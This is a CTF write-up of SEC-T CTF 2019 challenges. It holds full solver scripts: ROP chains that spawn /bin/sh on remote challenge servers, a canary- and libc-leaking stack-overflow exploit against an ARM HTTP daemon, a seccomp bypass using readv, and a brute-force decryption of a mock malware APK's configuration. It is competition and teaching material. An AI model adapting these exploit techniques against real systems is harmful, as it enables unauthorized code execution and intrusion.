SEC-T CTF 2019 had been held from September 18th, 15:00 to 19th, 21:00 UTC.
I played this CTF in zer0pts
and we reached 6th place with 4485pts.
It was a really nice CTF and I learned a lot. Thank you for hosting the CTF!
- [misc 79pts] sanity check
- [forensics, misc 197pts] diagram
- [misc, forensics 169pts] mycat
- [re 240pts] rerere
- [pwn 537pts] rrop
- [pwn 631pts] rrop_morr
- [pwn 631pts] lamehttpd
- [re 499pts] droidcoin
- [pwn 660pts] blak flag
- [pwn 537pts] baby0x01
- [pwn 305] baby0x02
Here is the tasks and solvers for some challenges I solved.
[misc 79pts] sanity check
Description: Flag is in the topic of #sect-ctf @ irc.freenode.net
The flag was written in the IRC.
SECT{SECT_CTF_2019}
[forensics, misc 197pts] diagram
Description: Don't trust the word of an android, they might cheat. File: diagram
The given file is a rich text file which has a chart in it.
I found the y-axix is the ascii code of the flag and just decoded it.
SECT{4ndr0ids_sh0uld_b3_n1ce}
[misc, forensics 169pts] mycat
Description: My cat is planing something, find the hidden msg File: mycat
We're given a broken PDF file. (maybe it just seems broken from evince.) I don't know what's intended but binwalk could extract the fixed PDF.
$ binwalk -e mycat $ file _mycat.extracted/6A _mycat.extracted/6A: PDF document, version 1.4
In the PDF is a large picture of a cat.
I guessed the flag was hidden behind the picture and copied texts by Ctrl+A Ctrl+C
, which successfully picked up the flag.
SECT{3mb3dd3d_f1l3s_c0uld_b3_tr1cky}
[re 240pts] rerere
Description: re rere rerere. Find the magic key, and encapsulate in SECT{...} to get the flag File: chal
It's a 64-bit ELF. It outputs 'Y' or 'N' depending on the following conditional jump.
cmp [rbp+is_wrong], 0 setz al movzx eax, al test eax, eax jz short loc_97E
is_wrong
is calculated in the following block (where edx is the i-th flag character and eax is unknown).
sub edx, eax mov eax, edx add [rbp+is_wrong], eax add [rbp+i], 1
Since is_wrong
must be 0, eax should be equal to edx, which means we can retrieve the flag byte by byte.
I wrote the following gdb script to get the flag.
# gdb -n -q -x solve.py ./chal import gdb gdb.execute("set pagination off") gdb.execute("b *0x55555555494b") gdb.execute("run") flag = "" for _ in range(0x0D): eax = gdb.execute("p $eax", to_string=True).strip().split("= ")[1] flag += chr(int(eax)) gdb.execute("set $edx = {}".format(eax), to_string=True) gdb.execute("continue", to_string=True) print(flag)
SECT{p0l1y_cr4ck3r}
[pwn 537pts] rrop
Description: If you take a monkey hitting keys at random on a keyboard for an infinite amount of time, it will almost surely craft a rop chain. File: chall Server: nc rrop-01.pwn.beer 45243
The binary is a 64-bit ELF.
$ checksec -f chall RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols Yes 0 2 chall
The process is simple:
- user inputs seed and it calls
srand(seed)
. - calls mmap to allocate 0x8000 bytes and write random 0x8000 bytes with using
rand()
. also outputs the address. - calls mprotect to make the region RX.
- calls mmap to allocate 0x1000 bytes stack.
- changes RSP to the new stack address + random offset.
- user inputs 0x100 bytes to rsp and
ret
.
So, we don't know any addresses except for rsp and mmaped RX region. We can use any part of the RX region as a rop gadget since it's executable. The point is to make a ROP chain using the randomly generated region.
It took several hours to come up with the idea but my ROP chain is to conclude:
push rsp; pop rdi; ret
: set rdi = rspstd; ret;
: set DF = 1pop rax; ret;
: set rax = 32-bit value to writestosd; ret;
: set [rdi] = eax and rdi -= 4- repeat step 3 and 4 until we finish writing every byte
cld; ret
: set DF = 0stosd; ret;
: rdi += 4pop rax; ret;
: set rax = 59syscall;
: callexecve("/bin/sh", 0, 0)
The hardest point, I think, is how to write "/bin/sh" to known address.
After many attempts, I found stosb; ret;
or stosd; ret;
is a good gadget for this because it's 2-byte long and can be found in the random region with higher probability.
We need to set back rdi to the top of "/bin/sh" but there's merely a good gadget to substitute some value from rdi.
So, I used std; ret;
to set the direction flag.
By setting DF, stosd/stosb decrements rdi every time we use it.
Thus, rdi will be pointing to the top of "/bin/sh" after writing every byte.
Actually it's top-1 but we can increment rdi by setting DF to 0 by cld;ret
and call stosd/stosb.
What we need are only the following 6 gadgets:
54 5f c3
: push rsp; pop rdi;58 c3
: pop rax;0f 05
: syscallaa c3
orab c3
: stosb/stosdfd c3
: stdfc c3
: cld
Since all of the above gadgets are small, we can easily find the good seed.
from ptrlib import * import ctypes glibc = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc-2.27.so') seed = 7282 #sock = Process("./chall") sock = Socket("rrop-01.pwn.beer", 45243) sock.sendlineafter("seed: ", str(seed)) sock.recvuntil("addr: ") rop_base = int(sock.recvline(), 16) logger.info("rop base = " + hex(rop_base)) glibc.srand(seed) gadgets = b'' for j in range(0x2000): gadgets += p32(glibc.rand()) rop_pop_rax = rop_base + gadgets.index(b'\x58\xc3') rop_pop_rdi = rop_base + gadgets.index(b'\x5f\xc3') rop_ret = rop_base + gadgets.index(b'\xc3') rop_mov_rdi_rsp = rop_base + gadgets.index(b'\x54\x5f\xc3') rop_syscall = rop_base + gadgets.index(b'\x0f\x05') rop_stosd = rop_base + 0x000000000000746a rop_std = rop_base + 0x000000000000690d rop_cld = rop_base + 0x00000000000023d4 def mov_rdi_rsp(): payload = p64(rop_ret) * 8 payload += p64(rop_mov_rdi_rsp) return payload def write_to_stack(val): payload = p64(rop_pop_rax) payload += p64(val) payload += p64(rop_std) payload += p64(rop_stosd) return payload payload = b'' payload += mov_rdi_rsp() string = b'/bin/sh\x00' for i in range(0, len(string), 4): payload += write_to_stack(u32(string[len(string) - i - 4:len(string) - i])) payload += p64(rop_cld) payload += p64(rop_stosd) payload += p64(rop_pop_rax) payload += p64(59) payload += p64(rop_syscall) payload += p64(0xffffffffffffffff) sock.sendafter("rrop: ", payload) sock.interactive()
Great!
$ python solve.py [+] __init__: Successfully connected to rrop-01.pwn.beer:45243 [+] <module>: rop base = 0x7f774cdef000 [ptrlib]$ cat flag [ptrlib]$ SECT{cRe4tiv1tY_iS_intr0duc1nG_0rDEr_fr0M_RAnd0mN3sS}
SECT{cRe4tiv1tY_iS_intr0duc1nG_0rDEr_fr0M_RAnd0mN3sS}
[pwn 631pts] rrop_morr
Description: Kinda like before but this time do it properly. File: chall Server: nc rrop2-01.pwn.beer 45243
This time we can't set seed and it's now srand(time(NULL))
.
However, the size of random gadgets is much bigger than that of the last challenge.
So, my ROP chain works with very high probability.
from ptrlib import * import time import os while True: #sock = Process("./chall") sock = Socket("rrop2-01.pwn.beer", 45243) sock.recvuntil("seed: ") seed = int(sock.recvline()) sock.recvuntil("addr: ") rop_base = int(sock.recvline(), 16) logger.info("rop base = " + hex(rop_base)) os.system("./a.out {}".format(seed)) time.sleep(0.1) gadgets = open("gadgets", "rb").read() try: rop_pop_rax = rop_base + gadgets.index(b'\x58\xc3') rop_pop_rdi = rop_base + gadgets.index(b'\x5f\xc3') rop_ret = rop_base + gadgets.index(b'\xc3') rop_mov_rdi_rsp = rop_base + gadgets.index(b'\x54\x5f\xc3') rop_syscall = rop_base + gadgets.index(b'\x0f\x05') rop_std = rop_base + gadgets.index(b'\xfd\xc3') rop_cld = rop_base + gadgets.index(b'\xfc\xc3') except: sock.close() time.sleep(0.9) continue if b'\xab\xc3' in gadgets: bs = 4 rop_stos = rop_base + gadgets.index(b'\xab\xc3') elif b'\xaa\xc3' in gadgets: bs = 1 rop_stos = rop_base + gadgets.index(b'\xaa\xc3') else: logger.warn("Bad luck") continue logger.info("break at *" + hex(rop_syscall)) def mov_rdi_rsp(): payload = p64(rop_ret) * 8 payload += p64(rop_mov_rdi_rsp) return payload def write_to_stack(val): payload = p64(rop_pop_rax) payload += p64(val) payload += p64(rop_std) payload += p64(rop_stos) return payload payload = b'' payload += mov_rdi_rsp() string = b'/bin/sh\x00' for i in range(0, len(string), bs): payload += write_to_stack(u32(string[len(string) - i - bs:len(string) - i])) payload += p64(rop_cld) payload += p64(rop_stos) payload += p64(rop_pop_rax) payload += p64(59) payload += p64(rop_syscall) payload += p64(0xffffffffffffffff) sock.sendafter("rrop: ", payload) sock.interactive()
Perfect!
$ python solve.py [+] __init__: Successfully connected to rrop2-01.pwn.beer:45243 [+] <module>: rop base = 0x7f6ebce17000 [+] <module>: break at *0x7f6ebce171b6 [ptrlib]$ cat flag [ptrlib]$ SECT{3vrY_pWn0GraphER_kn0Ws_U_c4Nt_sP3lL_pR0N_w17HoUt_r0P}
SECT{3vrY_pWn0GraphER_kn0Ws_U_c4Nt_sP3lL_pR0N_w17HoUt_r0P}
[pwn 631pts] lamehttpd
Description: The 'Droidcoinstealer'-crew seems to be using hacked routers as their command-and-control servers. Luckily, we were able to recover a sample of their custom httpd service PWN their command-and-control server and recover all of those stolen Droidcoins! Local players can turn in this flag at the ACNR-booth for swag and streetcred! Files: lamehttpd, helper.py, install_env.sh, libc-2.27.so Server: nc lamehttpd-01.pwn.beer 8080
It's a 32-bit ARM ELF.
I've never tried ARM exploit but this challenge is a really good introduction for someone like me.
By running the distributed install_env.sh
, we can easily setup the environment for ARM debug.
Also for pwntools users, there's a template script (helper.py
).
The hardest part is analysing the binary and finding the vulnerability. I'm really new to ARM and even don't have IDA Pro, so I used radare2 to disassemble the binary.
As the challenge title says, the program receives HTTP request and returns HTTP response. I found the following routes:
/
: just sends HTML code/stacktrace
: dumps the stack and sends it as an HTML/stealwallet
: receives POST parameters such ashasWallet=true
andisEmulated=true
but does nothing special
In the post_handler
function, it checks if Content-Type: application/zip\r\n\r\n
is included and if so, it calls compression_handler
.
It's curious. Let's check the function.
compression_handler
reads the content as a zip file and extracts droidcoin.wallet
if it's included in the zip.
The point is that the extracted data is stored in a local variable with fixed length.
So, here we have a Stack Overflow vulnerability.
ASLR, SSP are enabled but we have /stacktrace
to leak canary and libc base!
from ptrlib import * import zipfile import re libc = ELF("./libc-2.27.so") #sock = Process(["qemu-arm", "-g", "1111", "./lamehttpd"], env={'LD_LIBRARY_PATH': '/usr/arm-linux-gnueabi/lib/'}) #sock = Process(["qemu-arm", "./lamehttpd"], env={'LD_LIBRARY_PATH': '/usr/arm-linux-gnueabi/lib/'}) sock = Socket("lamehttpd-01.pwn.beer", 8080) rop_pop_r0_pc = 0x0011e54c # leak canary payload = b'GET /stacktrace HTTP/1.1\r\n' payload += b'DEBUG: 1\r\n' payload += b'Connection: Keep-Alive\r\n\r\n' sock.send(payload) x = sock.recvuntil(b"</html>") r = re.findall(b"(0x[0-9a-f]+)", x) canary = int(r[1], 16) libc_base = int(r[9], 16) - libc.symbol("__libc_start_main") - 272 logger.info("canary = " + hex(canary)) logger.info("libc base = " + hex(libc_base)) # craft exploit exploit = b'A' * 0x200 exploit += p32(canary) exploit += p32(0xdeadbeef) exploit += p32(libc_base + rop_pop_r0_pc) exploit += p32(libc_base + next(libc.find("/bin/sh"))) exploit += p32(libc_base + libc.symbol("system")) with open("exploit.bin", "wb") as f: f.write(exploit) with zipfile.ZipFile('pwn.zip', 'w', compression=zipfile.ZIP_DEFLATED) as z: z.write('exploit.bin', arcname='droidcoin.wallet') payload = b'POST /stealwallet HTTP/1.1\r\n' payload += b'DEBUG: 1\r\n' payload += b'Connection: Keep-Alive\r\n' payload += b'Content-Type: application/zip\r\n\r\n' payload += open("pwn.zip", "rb").read() #payload += b'hasWallet=true&isEmulated=true' sock.send(payload) print(sock.recvuntil("lamehttpd")) sock.interactive()
YAY!
$ python solve.py [+] __init__: Successfully connected to lamehttpd-01.pwn.beer:8080 [+] <module>: canary = 0x7219e900 [+] <module>: libc base = 0xff667000 b'HTTP/1.1 200 OK\r\nServer: lamehttpd' [ptrlib]$ cat flag [ptrlib]$ SECT{g3t_r1ch_0r_d13_trY1ng}
[re 499pts] droidcoin
Description: The 'Night City' blackmarket is powered by 'Droidcoin'. An anonymous crypto-currency. The rogue androids seem to have hacked the 'Nighty City' ISP 'PWNcast'. With that access, they are pushing malware that will steal the users Droidcoins. This will fund their operations and we can't have that. Analyze this sample and find the configuration file so we can locate their command-and-control server. Local players can turn in this flag at the ACNR-booth for swag and streetcred! File: DroidCoinStealer.apk
We're given an APK. We can simply decompile it. In the MainActivity is the following piece of code.
JSONObject config_obj = new JSONObject(getConfig(genKey())); tv.setText(config_obj.getString("flag"));
Let's check genKey
method.
private String genKey() { String k1 = Build.MANUFACTURER.toLowerCase().substring(0, 2); String k2 = Build.MODEL.toLowerCase().substring(0, 2); StringBuilder sb = new StringBuilder(); sb.append(k1); sb.append(k2); sb.append(hasDroidWallet()); sb.append(isEmulator()); String key = sb.toString(); StringBuilder sb2 = new StringBuilder(); sb2.append("Decryption key: "); sb2.append(key); sb2.append(" len:"); sb2.append(key.length()); Log.e("DROIDCOINSTEALER", sb2.toString()); return key; }
It extracts 2 bytes from MANUFACTURER and MODEL respectively.
hasDroidWallet
is defined as below.
private String hasDroidWallet() { this.hasWallet = appInstalledOrNot("com.nightcity.droidcoinwallet"); return Integer.toString(this.hasWallet ? 1 : 0); }
The description says this is a malware which steals droidcoin. So, this method should return 1.
isEmulator
is defined as below.
private String isEmulator() { if (!Build.FINGERPRINT.toLowerCase().startsWith("generic") && !Build.FINGERPRINT.toLowerCase().startsWith(EnvironmentCompat.MEDIA_UNKNOWN) && !Build.MODEL.toLowerCase().contains("google_sdk") && !Build.MODEL.toLowerCase().contains("emulator") && !Build.MODEL.toLowerCase().contains("android sdk built for") && !Build.MANUFACTURER.toLowerCase().contains("genymotion")) { return "STEALCOINZ!"; } this.isEmulated = true; return "NOTCOOLMAN!"; }
It checks if the app is running on emulator. This method should return STEALCOINZ!
.
genKey
concatnates the 4 parameters and the generated key should be something like ????1STEALCOINZ!
.
Let's check getConfig
method.
public native byte[] decryptConfig(String str); private String getConfig(String key) { try { return new String(decryptConfig(key)); } catch (Throwable th) { Log.e("DROIDCOINSTEALER", "Failed to decrypt config"); return BuildConfig.FLAVOR; } }
decryptConfig
is not defined in the code.
It's defined in libnative-lib.so
which is located at resouces/lib/x86
.
Let's analyse the binary with IDA.
The binary is not that complicated. Here is the C code:
char* key_adjust(unsigned char *key) { key[0xf] ^= 0x42; return key; } void decrypt(unsigned char* enc_cnf, int cnf_len, unsigned char *key, int key_len, unsigned char* output) { int i, j, k; char loopKey[0x100]; char table[0x100]; key = key_adjust(key); for(k = 0; k < 0x100; k++) { table[k] = k; loopKey[k] = key[k % key_len]; } int x, y, ofs; char tmp; x = 0; for(j = 0; j < 0x100; j++) { x = (x + table[j] + loopKey[j]) & 0xff; tmp = table[x]; table[x] = table[j]; table[j] = tmp; } x = 0; y = 0; for(i = 0; i < cnf_len; i++) { y = (y + 1) & 0xff; x = (x + table[y]) & 0xff; tmp = table[x]; table[x] = table[y]; table[y] = tmp; ofs = (table[y] + table[x]) & 0xff; output[i] = enc_cnf[i] ^ table[ofs]; } }
decrypt
is used here:
enc_cnf
is copied from the binary:
Since the first pop eax
is at 0xa81, the encrypted config is located at 0xa81 + 0x254b - 0x2248 = 0xd84.
So, what we have to do is brute force unknown 4 bytes of the key to decrypt the encrypted JSON.
int main() { FILE *fp = fopen("libnative-lib.so", "rb"); char buf[0xb0]; char output[0xb0]; char key[0x10] = "????1STEALCOINZ!"; fseek(fp, 0xd84, SEEK_SET); fread(buf, 0x81, 1, fp); fclose(fp); char a, b, c, d; for(a = 'a'; a <= 'z'; a++) { key[0] = a; for(b = 'a'; b <= 'z'; b++) { key[1] = b; for(c = 'a'; c <= 'z'; c++) { key[2] = c; for(d = 'a'; d <= 'z'; d++) { key[3] = d; decrypt(buf, 0x81, key, 0x10, output); if (strstr(output, "flag")) { printf("%16s\n", key); printf("%s\n", output); exit(0); } } } } } puts("Not found!"); }
Cool!
$ ./a.out gopi1STEALCOINZc {"version":"1337", "host":"droidcoin-c2-01.pwn.beer", "port":8080, "path":"stealwallet", "flag":"SECT{1nv3st_1n_dr01dc01nz_noW}"}
This challenge is related the the lamehttpd. After I solved this challenge, I understood what was lamehttpd intended for :-)
SECT{1nv3st_1n_dr01dc01nz_noW}
[pwn 660pts] blak flag
Description: Bet you can't leak a flag from this service. File: chall Server: nc blakflag-01.pwn.beer 45243
It's a 64-bit ELF.
$ checksec -f chall RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 0 chall
checksec says SSP is disabled but actually it's enabled. (This sometimes happens because it just checks __stack_chk_fail
symbol and so on.)
The program structure is really similar to that of gissa2 from Midnight Sun CTF 2019 but the vulnerability is completely different.
It opens /home/ctf/flag
and reads the contents by mmap.
The binary has a Stack Overflow and Buffer Overread vulnerability.
However, a function sub_AF5
is called right before returning from the main function.
The function works like this:
memzero(flag, strlen(flag));
munmap(flag, 0x1000);
set_seccomp();
And the seccomp is:
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0006 0005: 0x06 0x00 0x00 0x00000000 return KILL 0006: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0008 0007: 0x06 0x00 0x00 0x00000000 return KILL 0008: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0010 0009: 0x06 0x00 0x00 0x00000000 return KILL 0010: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0012 0011: 0x06 0x00 0x00 0x00000000 return KILL 0012: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0014 0013: 0x06 0x00 0x00 0x00000000 return KILL 0014: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0016 0015: 0x06 0x00 0x00 0x00000000 return KILL 0016: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0018 0017: 0x06 0x00 0x00 0x00000000 return KILL 0018: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0020 0019: 0x06 0x00 0x00 0x00000000 return KILL 0020: 0x15 0x00 0x01 0x00000055 if (A != creat) goto 0022 0021: 0x06 0x00 0x00 0x00000000 return KILL 0022: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0024 0023: 0x06 0x00 0x00 0x00000000 return KILL 0024: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0026 0025: 0x06 0x00 0x00 0x00000000 return KILL 0026: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0028 0027: 0x06 0x00 0x00 0x00000000 return KILL 0028: 0x06 0x00 0x00 0x7fff0000 return ALLOW
We can't use read
, open
, mmap
, mprotect
, clone
, fork
, vfork
, execve
, creat
, openat
, execveat
and any x32 ABI.
Be noticed we can still use write
syscall to leak something.
I came up with some ideas and the following might be an easy way:
readv(3, vec, 1);
write(1, flag, 0x80);
So simple, isn't it?
Even though we can't use read syscall, we have readv
system call.
Also, the file descriptor of the flag may be 3 as 0, 1, 2 are used for stdin, stdout, stderr respectively.
The point is where to write iovec for readv.
I though I could leak the stack address by buffer overread and use the input buffer for iovec.
However, the offset from the leaked stack address to the input buffer changes every time I run the binary somehow. (I still don't know why.)
If the iovec points to NULL or it's size is 0, the program won't crash and syscall just returns error.
So, we can brute force the stack address and try several times.
As we don't have pop rax
gadget, I used write
to set rax to an arbitrary value.
from ptrlib import * libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("./chall") sock = Socket("blakflag-01.pwn.beer", 45243) def set_rax(val): payload = p64(rop_pop_rdx_rdi_rsi) payload += p64(val) payload += p64(1) payload += p64(proc_base) payload += p64(rop_write) return payload # leak canary and proc base payload = b'A' * 0x98 sock.sendlineafter(": ", payload) sock.recvline() canary = u64(b'\x00' + sock.recv(7)) proc_base = u64(sock.recvline()) - 0xf1e logger.info("canary = " + hex(canary)) logger.info("proc base = " + hex(proc_base)) addr_pflag = proc_base + 0x203000 # leak stack address payload = b'A' * (0xd0 - 1) sock.sendlineafter(": ", payload) sock.recvline() stack_addr = u64(sock.recvline()) - 0x452 logger.info("stack addr = " + hex(stack_addr)) # prepare rop gadget rop_pop_rsi = proc_base + 0x00000f95 rop_pop_rdi_rsi = proc_base + 0x00000f94 rop_pop_rdx_rdi_rsi = proc_base + 0x00000f93 rop_syscall = proc_base + 0x00000f50 rop_write = proc_base + 0xf53 logger.info("break *" + hex(proc_base + 0xf1d)) # crop payload = b'A' * 8 #_ = input() payload += (p64(proc_base + 0x203000) + p64(0x400)) * 9 payload += p64(canary) payload += p64(0) for i in range(0x10): payload += set_rax(19) payload += p64(rop_pop_rdx_rdi_rsi) payload += p64(1) payload += p64(3) payload += p64(stack_addr - 0x100 * i) payload += p64(rop_syscall) payload += p64(rop_pop_rdx_rdi_rsi) payload += p64(0x80) payload += p64(1) payload += p64(proc_base + 0x203000) payload += p64(rop_write) sock.sendlineafter(": ", payload) sock.interactive()
Perfect!
$ python solve.py [+] __init__: Successfully connected to blakflag-01.pwn.beer:45243 [+] <module>: canary = 0xafe165b77aabea00 [+] <module>: proc base = 0x55e67fc75000 [+] <module>: stack addr = 0x7fff454d4ad0 [+] <module>: break *0x55e67fc75f1d [ptrlib]$ it is not AAAAAAAA ELF>ELF>ELF>ELF>ELF>ELF>ELF>ELF>ELF>ELF>ELF>SECT{bL4cKlIs7S_4Re_A_r1skY_b1znaS} ELF>SECT{bL4cKlIs7S_4Re_A_r1skY_b1znaS} ELF>SECT{bL4cKlIs7S_4Re_A_r1skY_b1znaS} ELF>SECT{bL4cKlIs7S_4Re_A_r1skY_b1znaS} ELF>SECT{bL4cKlIs7S_4Re_A_r1skY_b1znaS} ELF>SECT{bL4cKlIs7S_4Re_A_r1skY_b1znaS} /home/ctf/redir.sh: line 2: 5071 Segmentation fault (core dumped) ./chall
SECT{bL4cKlIs7S_4Re_A_r1skY_b1znaS}
[pwn 537pts] baby0x01
Description: You gotta crawl before you can walk... Server: nc baby0x01-01.pwn.beer 45243 File: chall
Similar to blak flag, it has Stack Overflow and Buffer Overread vulnerability and this time there's no seccomp.
I leaked the address of puts
and found it's libc-2.27.
That's it.
from ptrlib import * libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") elf = ELF("./chall") #sock = Process("./chall") sock = Socket("baby0x01-01.pwn.beer", 45243) # leak canary payload = b"A" * 0x49 sock.sendlineafter(": ", payload) r = sock.recvline() canary = u64(b'\x00' + r[-13:-6]) proc_base = u64(r[-6:]) - 3024 logger.info("canary = " + hex(canary)) logger.info("proc base = " + hex(proc_base)) # prepare rop gadget rop_pop_rdi = proc_base + 0x00000c33 rop_ret = proc_base + 0x0000072e # prepare rop chain payload = b"A" * 0x48 payload += p64(canary) payload += p64(0) payload += p64(rop_pop_rdi) payload += p64(proc_base + elf.got("puts")) payload += p64(proc_base + elf.plt("puts")) payload += p64(proc_base + 0x7d0) sock.sendlineafter(": ", payload) # libc leak sock.sendlineafter("buffer: ", "") libc_base = u64(sock.recvline()) - libc.symbol("puts") logger.info("libc base = " + hex(libc_base)) # get the shell! payload = b"A" * 0x48 payload += p64(canary) payload += p64(0) payload += p64(rop_ret) payload += p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + libc.symbol("system")) payload += p64(0xffffffffffffffff) sock.sendlineafter(": ", payload) sock.sendlineafter("buffer: ", "") sock.interactive()
Easy.
$ python solve.py [+] __init__: Successfully connected to baby0x01-01.pwn.beer:45243 [+] <module>: canary = 0x5d4c172a5c15f00 [+] <module>: proc base = 0x559389804000 [+] <module>: libc base = 0x7f15fcfbb000 [ptrlib]$ cat flag [ptrlib]$ SECT{g0_Go_g4dG37_m4st3r}
Perhaps leaking the libc version is not intended.
SECT{g0_Go_g4dG37_m4st3r}
I think this and the next challenge should've been released much earlier. Appearently many teams didn't notice baby pwns were released and as a result the score is same as that of rrop :-(
[pwn 305] baby0x02
Description: You gotta walk before you can run... Server: nc baby0x02-01.pwn.beer 45243
The program reads whatever file. Let's see what happens when I read flag
.
Options: 1) read 2) write > 1 file: flag size: 80 seek: 0 data: SECT{7H3_anDr01ds_haV3_beC0m3_pr0C_s3lF_AwArE}
WTF!
SECT{7H3_anDr01ds_haV3_beC0m3_pr0C_s3lF_AwArE}